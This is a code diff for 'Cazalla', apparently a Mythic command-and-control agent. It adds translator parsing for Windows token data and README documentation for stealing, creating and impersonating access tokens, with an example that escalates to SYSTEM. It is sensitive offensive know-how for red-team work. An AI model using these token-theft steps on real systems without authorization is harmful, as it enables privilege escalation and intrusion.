str_len = int.from_bytes(remaining_data[offset:offset+4], 'big') + offset += 4 + if str_len == 0: + return "" + if len(remaining_data) < offset + str_len: + return None + try: + value = remaining_data[offset:offset+str_len].decode('utf-8', errors='ignore') + offset += str_len + return value + except: + return "" + + def read_int32(): + nonlocal offset + if len(remaining_data) < offset + 4: + return None + value = int.from_bytes(remaining_data[offset:offset+4], 'big') + offset += 4 + return value + + def read_int64(): + nonlocal offset + if len(remaining_data) < offset + 8: + return None + value = int.from_bytes(remaining_data[offset:offset+8], 'big') + offset += 8 + return value + + def read_bool(): + nonlocal offset + if len(remaining_data) < offset + 1: + return None + value = remaining_data[offset] != 0 + offset += 1 + return value + + host = read_string_field() + description = read_string_field() + user = read_string_field() + groups = read_string_field() + thread_id = read_int32() + process_id = read_int32() + default_dacl = read_string_field() + session_id = read_int32() + restricted = read_bool() + capabilities = read_string_field() + logon_sid = read_string_field() + integrity_level_sid = read_int32() + app_container_number = read_int32() + app_container_sid = read_string_field() + privileges = read_string_field() + handle = read_int64() + + if any(x is None for x in [thread_id, process_id, session_id, restricted, integrity_level_sid, app_container_number, handle]): + break + + # Build token object according to Mythic documentation + # Only include fields that have actual values (omit empty/zero optional fields) + # This matches how other Mythic agents handle optional token fields + token_obj = { + "token_id": token_id # required - always include + } + + # Only add optional fields if they have meaningful values + if host: + token_obj["host"] = host + if description: + token_obj["description"] = description + if user: + token_obj["user"] = user + # NOTE: The C agent currently sends domain_name as groups (incorrect, should be actual groups) + # For now, we'll omit groups field entirely since it contains incorrect data + # In the future, the C agent should extract and send actual group membership + # if groups and groups.strip(): + # token_obj["groups"] = groups + if thread_id != 0: # 0 is a valid thread_id, but often means "not provided" + token_obj["thread_id"] = thread_id + if process_id != 0: # 0 is not a valid PID, so omit if 0 + token_obj["process_id"] = process_id + if default_dacl: + token_obj["default_dacl"] = default_dacl + # session_id can be 0 (valid), so always include it + token_obj["session_id"] = session_id + # restricted can be False (valid), so always include it + token_obj["restricted"] = restricted + if capabilities: + token_obj["capabilities"] = capabilities + if logon_sid: + token_obj["logon_sid"] = logon_sid + if integrity_level_sid != 0: + token_obj["integrity_level_sid"] = integrity_level_sid + if app_container_number != 0: + token_obj["app_container_number"] = app_container_number + if app_container_sid: + token_obj["app_container_sid"] = app_container_sid + if privileges: + token_obj["privileges"] = privileges + if handle != 0: # 0 is not a valid handle, so omit if 0 + token_obj["handle"] = handle + + tokens_data.append(token_obj) + print(f"[TOKEN] token_id={token_id}, user='{user}', pid={process_id}, handle={handle}") + remaining_data = remaining_data[offset:] + print(f"[TOKEN] Tokens parseados hasta ahora: {len(tokens_data)}, remaining_data length: {len(remaining_data)} bytes") + if len(remaining_data) > 0: + print(f"[TOKEN] Siguiente byte en remaining_data: 0x{remaining_data[0]:02X}") + elif remaining_data[0] == 0xF3: + # Callback token marker found + # Format: [0xF3 marker][action_len:4][action][host_len:4][host][token_id:4] + offset = 1 + + if len(remaining_data) < offset + 4: + break + + action_len = int.from_bytes(remaining_data[offset:offset+4], 'big') + offset += 4 + + if action_len == 0 or len(remaining_data) < offset + action_len: + break + + try: + action = remaining_data[offset:offset+action_len].decode('utf-8', errors='ignore') + offset += action_len + except: + break + + # Host + if len(remaining_data) < offset + 4: + break + host_len = int.from_bytes(remaining_data[offset:offset+4], 'big') + offset += 4 + + host = "" + if host_len > 0: + if len(remaining_data) < offset + host_len: + break + try: + host = remaining_data[offset:offset+host_len].decode('utf-8', errors='ignore') + offset += host_len + except: + pass + + # Token ID + if len(remaining_data) < offset + 4: + break + token_id = int.from_bytes(remaining_data[offset:offset+4], 'big') + offset += 4 + + callback_tokens_data.append({ + "action": action, + "host": host, + "token_id": token_id + }) + print(f"[CALLBACK_TOKEN] action='{action}', host='{host}', token_id={token_id}") + remaining_data = remaining_data[offset:] else: # No more markers break @@ -813,7 +1029,8 @@ def postResponse(data): # Incluir user_output para que se vea en la consola, EXCEPTO cuando hay download chunks # (los chunks de download no necesitan user_output) - if not download_chunk or decoded_output.strip(): + # Always include user_output if there's output text (needed for tokens command to show in GUI) + if not download_chunk and decoded_output.strip(): jsonTask["user_output"] = decoded_output # Si detectamos una lista de procesos, también incluir el formato para Process Browser @@ -900,6 +1117,16 @@ def postResponse(data): jsonTask["keylogs"] = keylogs_data print(f"[KEYLOG] Total de keylogs agregados: {len(keylogs_data)}") + # Support for tokens: create tokens array from parsed data + if len(tokens_data) > 0: + jsonTask["tokens"] = tokens_data + print(f"[TOKENS] Total de tokens agregados: {len(tokens_data)}") + + # Support for callback tokens: create callback_tokens array from parsed data + if len(callback_tokens_data) > 0: + jsonTask["callback_tokens"] = callback_tokens_data + print(f"[CALLBACK_TOKENS] Total de callback_tokens agregados: {len(callback_tokens_data)}") + # Add download information if present if download_registration: jsonTask["download"] = download_registration @@ -936,8 +1163,68 @@ def postResponse(data): resTaks.append(jsonTask) dataJson = {"action": "post_response", "responses": resTaks} - - print(f"Respuesta generada: {json.dumps(dataJson, indent=4)}") + + # Log response size and token count for debugging + json_str = json.dumps(dataJson) + print(f"[RESPONSE] Tamaño del JSON: {len(json_str)} bytes") + print(f"[RESPONSE] Número de tokens en respuesta: {len(tokens_data)}") + print(f"[RESPONSE] Tiene user_output: {'user_output' in jsonTask}") + if 'user_output' in jsonTask: + print(f"[RESPONSE] Tamaño de user_output: {len(jsonTask['user_output'])} caracteres") + + # Validate token format - check first token if any + if len(tokens_data) > 0: + first_token = tokens_data[0] + print(f"[RESPONSE] Primer token sample - token_id type: {type(first_token.get('token_id'))}, value: {first_token.get('token_id')}") + print(f"[RESPONSE] Primer token sample - handle type: {type(first_token.get('handle'))}, value: {first_token.get('handle')}") + print(f"[RESPONSE] Primer token sample - restricted type: {type(first_token.get('restricted'))}, value: {first_token.get('restricted')}") + print(f"[RESPONSE] Primer token sample - session_id type: {type(first_token.get('session_id'))}, value: {first_token.get('session_id')}") + # Check all required fields are present + required_fields = ["token_id", "host", "user", "groups", "thread_id", "process_id", "session_id", "restricted", "integrity_level_sid", "app_container_number", "handle"] + missing_fields = [field for field in required_fields if field not in first_token] + if missing_fields: + print(f"[ERROR] Campos faltantes en token: {missing_fields}") + else: + print(f"[RESPONSE] Todos los campos requeridos están presentes en el primer token") + + print(f"[RESPONSE] Enviando JSON a Mythic...") + + # Try to validate JSON serialization before sending + try: + json_test = json.dumps(dataJson) + print(f"[RESPONSE] JSON serialización exitosa, tamaño: {len(json_test)} bytes") + + # Try to parse it back to ensure it's valid + json.loads(json_test) + print(f"[RESPONSE] JSON validación exitosa (parseable)") + except Exception as e: + print(f"[ERROR] Problema con JSON: {e}") + import traceback + traceback.print_exc() + + # Log first few tokens for debugging + if len(tokens_data) > 0: + print(f"[RESPONSE] Primer token completo: {json.dumps(tokens_data[0], indent=2)}") + # Validate token_id is an integer (required) + for i, tok in enumerate(tokens_data[:3]): # Check first 3 tokens + if "token_id" not in tok: + print(f"[ERROR] Token {i} missing token_id!") + if not isinstance(tok.get("token_id"), int): + print(f"[ERROR] Token {i} token_id is not an integer: {type(tok.get('token_id'))}, value: {tok.get('token_id')}") + + # Log response structure + if "responses" in dataJson: + for resp in dataJson["responses"]: + if "tokens" in resp: + print(f"[RESPONSE] Response has {len(resp['tokens'])} tokens") + # Check if all tokens have required token_id + for i, tok in enumerate(resp["tokens"]): + if "token_id" not in tok: + print(f"[ERROR] Token {i} in response missing token_id!") + if not isinstance(tok.get("token_id"), int): + print(f"[ERROR] Token {i} token_id type error: {type(tok.get('token_id'))}") + + print(f"Respuesta generada: {json.dumps(dataJson, indent=4)[:2000]}...") # Truncate huge JSON return dataJson diff --git a/Payload_Type/cazalla/translator/translator.py b/Payload_Type/cazalla/translator/translator.py index 8cb0c86..bda40a9 100644 --- a/Payload_Type/cazalla/translator/translator.py +++ b/Payload_Type/cazalla/translator/translator.py @@ -161,8 +161,19 @@ class cazalla_translator(TranslationContainer): print(f"[TRANSLATOR] Final message with SOCKS: {len(response.Message)} bytes") elif inputMsg.Message["action"] == "post_response": - print("Response POSTREP") - response.Message = responsePosting(inputMsg.Message["responses"]) # base responses + print("[TRANSLATOR] Response POSTREP recibido de Mythic") + print(f"[TRANSLATOR] POSTREP Message keys: {list(inputMsg.Message.keys())}") + print(f"[TRANSLATOR] POSTREP Message completo: {json.dumps(inputMsg.Message, indent=2)[:1000]}...") + # Handle case where responses might not be present (e.g., error response from Mythic) + responses = inputMsg.Message.get("responses", []) + if responses: + print(f"[TRANSLATOR] POSTREP tiene {len(responses)} respuestas") + response.Message = responsePosting(responses) # base responses + else: + # Empty response or error - send empty acknowledgment + print("[WARN] post_response sin 'responses', enviando respuesta vacía") + print(f"[WARN] POSTREP Message completo sin responses: {json.dumps(inputMsg.Message, indent=2)}") + response.Message = len([]).to_bytes(4, "big") # 0 responses socks_list = inputMsg.Message.get("socks", []) if socks_list: extension = bytearray() diff --git a/Payload_Type/cazalla/translator/utils.py b/Payload_Type/cazalla/translator/utils.py index 2fbf728..2be3a70 100644 --- a/Payload_Type/cazalla/translator/utils.py +++ b/Payload_Type/cazalla/translator/utils.py @@ -2,6 +2,30 @@ import base64 import os def getBytesWithSize(data): - size = int.from_bytes(data[0:4]) + """ + Read length-prefixed data. + Format: [size:4 bytes big-endian][data:size bytes] + Returns: (data_bytes, remaining_bytes) + """ + if len(data) < 4: + print(f"[WARN] getBytesWithSize: datos insuficientes ({len(data)} < 4)") + return b"", data + + size = int.from_bytes(data[0:4], 'big') # Explicitly use big-endian data = data[4:] + + # Validate size (reasonable limit: 100MB) + MAX_REASONABLE_SIZE = 100 * 1024 * 1024 + if size > MAX_REASONABLE_SIZE: + print(f"[WARN] getBytesWithSize: tamaño sospechoso ({size} bytes, max razonable: {MAX_REASONABLE_SIZE})") + print(f"[WARN] Primeros 16 bytes (hex): {data[:16].hex()}") + # If size is suspicious, maybe it's actually a marker byte + # Return empty output and keep all data as remaining + return b"", data + + if len(data) < size: + print(f"[WARN] getBytesWithSize: tamaño ({size}) mayor que datos disponibles ({len(data)})") + # Return what we can and empty remaining + return data[:size], b"" + return data[:size], data[size:] \ No newline at end of file diff --git a/README.md b/README.md index de7e1ab..8c85e4b 100644 --- a/README.md +++ b/README.md @@ -28,6 +28,7 @@ - [File Downloads Support](#file-downloads-support) - [File Uploads Support](#file-uploads-support) - [Keylogging Support](#%EF%B8%8F-keylogging-support) +- [Token Support](#-token-support) - [Development](#development) - [Troubleshooting](#troubleshooting) - [Credits](#credits) @@ -203,6 +204,16 @@ For more information, see the [Mythic documentation on customizing public agents | `screenshot` | Capture full-screen screenshot (Mythic screenshot UI) | `screenshot` | | `keylog_start` | Start keystroke logging | `keylog_start` | | `keylog_stop` | Stop keystroke logging | `keylog_stop` | +| `whoami` | Get current user context (thread token if impersonated, otherwise process token) | `whoami` | + +### Token Operations + +| Command | Description | Example | +|---------|-------------|---------| +| `list_tokens` | List all available tokens from running processes | `list_tokens` | +| `steal_token` | Steal and impersonate token from a target process | `steal_token ` | +| `make_token` | Create a new token using credentials and impersonate it | `make_token domain username password [logon_type]` | +| `rev2self` | Revert token impersonation back to original token | `rev2self` | **Note**: The `ps` command integrates with Mythic's Process Browser, allowing unified process management across multiple callbacks. Process lists are automatically synchronized and viewable from the Process Browser UI. @@ -1183,6 +1194,200 @@ For more information, see the [Mythic Keylog documentation](https://docs.mythic- --- +## 🔐 Token Support + +Cazalla supports Windows token manipulation and impersonation, following [Mythic's Token specification](https://docs.mythic-c2.net/customizing/hooking-features/tokens). + +### Features + +- **Token Listing**: Enumerate all viewable tokens from running processes +- **Token Theft**: Steal tokens from processes to impersonate different users +- **Token Creation**: Create new tokens using credentials (domain, username, password) +- **Token Impersonation**: Impersonate tokens for subsequent tasking +- **Token Revert**: Revert to original token when done impersonating +- **Token Tasking**: Use stolen/created tokens for executing commands with different privileges +- **SeDebugPrivilege**: Automatically enables `SeDebugPrivilege` for accessing system processes +- **Mythic Integration**: Tokens are tracked in Mythic's Token UI and can be selected for tasking + +### How It Works + +Cazalla implements token functionality following Mythic's token specification: + +1. **Token Listing** (`list_tokens`): + - Enumerates all running processes + - Opens each process token with `OpenProcessToken` + - Extracts user information, session ID, and process details + - Reports tokens to Mythic using the `tokens` key in `post_response` + - Tokens are viewable in Mythic's **Search → Tokens** page + - Displays token information including: Token ID, PID, Process name, User, and Session + +2. **Token Theft** (`steal_token `): + - Opens the target process with appropriate access rights + - Opens and duplicates the process token + - Impersonates the token using `ImpersonateLoggedOnUser` + - Registers the token as a `callback_token` for use in subsequent tasking + - Reports a "Token Impersonation" artifact + - The token becomes available in the Mythic UI for tasking + +3. **Token Creation** (`make_token domain username password [logon_type]`): + - Creates a new token using `LogonUserA` with provided credentials + - Impersonates the newly created token + - Registers the token as a `callback_token` for use in tasking + - Reports a "Token Creation" artifact + - Default `logon_type` is `9` (LOGON32_LOGON_NEW_CREDENTIALS) if not specified + +4. **Token Revert** (`rev2self`): + - Calls `RevertToSelf()` to revert to the original process token + - Closes the impersonated token handle + - Useful after completing operations with an impersonated token + +5. **Token Tasking**: + - When a token is registered as a `callback_token`, it appears in the Mythic UI + - You can select a token from the dropdown when issuing tasks + - The translator automatically includes the `token_id` in task messages + - Commands executed with a selected token run under that token's security context + +### Using Token Commands + +#### List Available Tokens + +```bash +# List all viewable tokens from running processes +list_tokens +``` + +Output format: +``` +Token ID: 1 | PID: 76 | Process: smss.exe | User: NT AUTHORITY\SYSTEM | Session: 0 +Token ID: 2 | PID: 116 | Process: csrss.exe | User: NT AUTHORITY\SYSTEM | Session: 0 +Token ID: 16 | PID: 1060 | Process: svchost.exe | User: NT AUTHORITY\SYSTEM | Session: 1 +... +``` + +#### Steal Token from a Process + +```bash +# Steal token from PID 1060 (SYSTEM process) +steal_token 1060 +``` + +After stealing a token: +- The agent impersonates the token immediately +- The token is registered in Mythic as a `callback_token` +- You can verify impersonation with `whoami` +- Subsequent commands will run with that token's privileges (if selected in Mythic UI) + +#### Create Token with Credentials + +```bash +# Create token for domain user +make_token DOMAIN username password + +# Create token with specific logon type +# Logon types: 2=Interactive, 3=Network, 9=NewCredentials (default) +make_token DOMAIN username password 9 +``` + +#### Verify Token Impersonation + +```bash +# Check current user context (before stealing token) +whoami +# Output: CETP-WIN11-01\localuser + +# Steal token from SYSTEM process +steal_token 1060 + +# Check current user context (after stealing token) +whoami +# Output: NT AUTHORITY\SYSTEM + +# Revert to original token +rev2self + +# Check current user context (after reverting) +whoami +# Output: CETP-WIN11-01\localuser +``` + +#### Using Tokens for Tasking + +1. Execute `list_tokens` to see available tokens +2. Execute `steal_token ` to steal a token (or use `make_token` to create one) +3. In the Mythic UI, a dropdown appears next to the tasking bar +4. Select a token from the dropdown before issuing commands +5. Commands will execute with the selected token's security context + +**Note**: Token selection in Mythic UI is handled automatically by the framework. The translator includes the `token_id` in the task message when a token is selected. + +### Session Considerations + +- **Session 0**: System services and processes run in Session 0 +- **Session 2+**: User sessions start from Session 2 +- Some processes may only be accessible if running with administrator privileges +- The `EnableSeDebugPrivilege` function is called automatically to access protected processes + +### Implementation Details + +The token system uses: +- **SeDebugPrivilege**: Automatically enabled for accessing system processes +- **OpenProcessToken**: Opens process tokens with appropriate access rights +- **DuplicateTokenEx**: Duplicates tokens for impersonation +- **ImpersonateLoggedOnUser**: Impersonates tokens on the current thread +- **RevertToSelf**: Reverts to the original process token +- **Process Enumeration**: Uses `CreateToolhelp32Snapshot` to enumerate processes +- **Token Information**: Uses `GetTokenInformation` and `LookupAccountSidA` to extract user info + +### Error Handling + +Token operations handle various scenarios: +- **Access Denied**: Falls back to `PROCESS_QUERY_LIMITED_INFORMATION` if full access fails +- **Protected Processes**: Some system processes may require elevated privileges +- **Invalid PID**: Validates PID and rejects PIDs 0 and 2 (reserved) +- **Token Opening**: Attempts multiple access rights combinations if initial attempt fails +- **Privilege Escalation**: Automatically enables `SeDebugPrivilege` when needed + +### Viewing Tokens + +1. Execute `list_tokens` to enumerate tokens +2. Navigate to **Search → Tokens** in the Mythic UI +3. View all tokens with details: + - Token ID (agent-generated unique identifier) + - Host (computer name) + - User (account name) + - Process ID + - Session ID + - Process name (from `list_tokens` output) +4. Tokens registered as `callback_tokens` (via `steal_token` or `make_token`) appear in the tasking dropdown + +### Artifact Support + +Token commands automatically report artifacts: + +- **`steal_token`**: Reports "Token Impersonation" artifact with PID and user information +- **`make_token`**: Reports "Token Creation" artifact with domain, username, and logon type + +These artifacts appear in Mythic's Artifacts page when token operations are performed. + +### Verification Tips + +1. **Before and After**: Use `whoami` before and after `steal_token` to verify impersonation +2. **Session 0 vs Session 2**: Tokens from Session 0 processes are accessible with administrator privileges +3. **Process Names**: Use `list_tokens` to see process names alongside PIDs +4. **Token ID**: The `token_id` in `list_tokens` output can be used to identify tokens, but for tasking, Mythic uses the token registered via `callback_tokens` + +### Security Considerations + +- **Token Impersonation**: Allows executing commands with different privileges +- **SeDebugPrivilege**: Required for accessing system process tokens +- **Token Theft**: Can be detected by security monitoring tools +- **Session Isolation**: Tokens from different sessions may have different access rights +- **Token Lifetime**: Impersonated tokens remain active until `rev2self` is called + +For more information, see the [Mythic Tokens documentation](https://docs.mythic-c2.net/customizing/hooking-features/tokens). + +--- + ## 🔧 Development ### Project Structure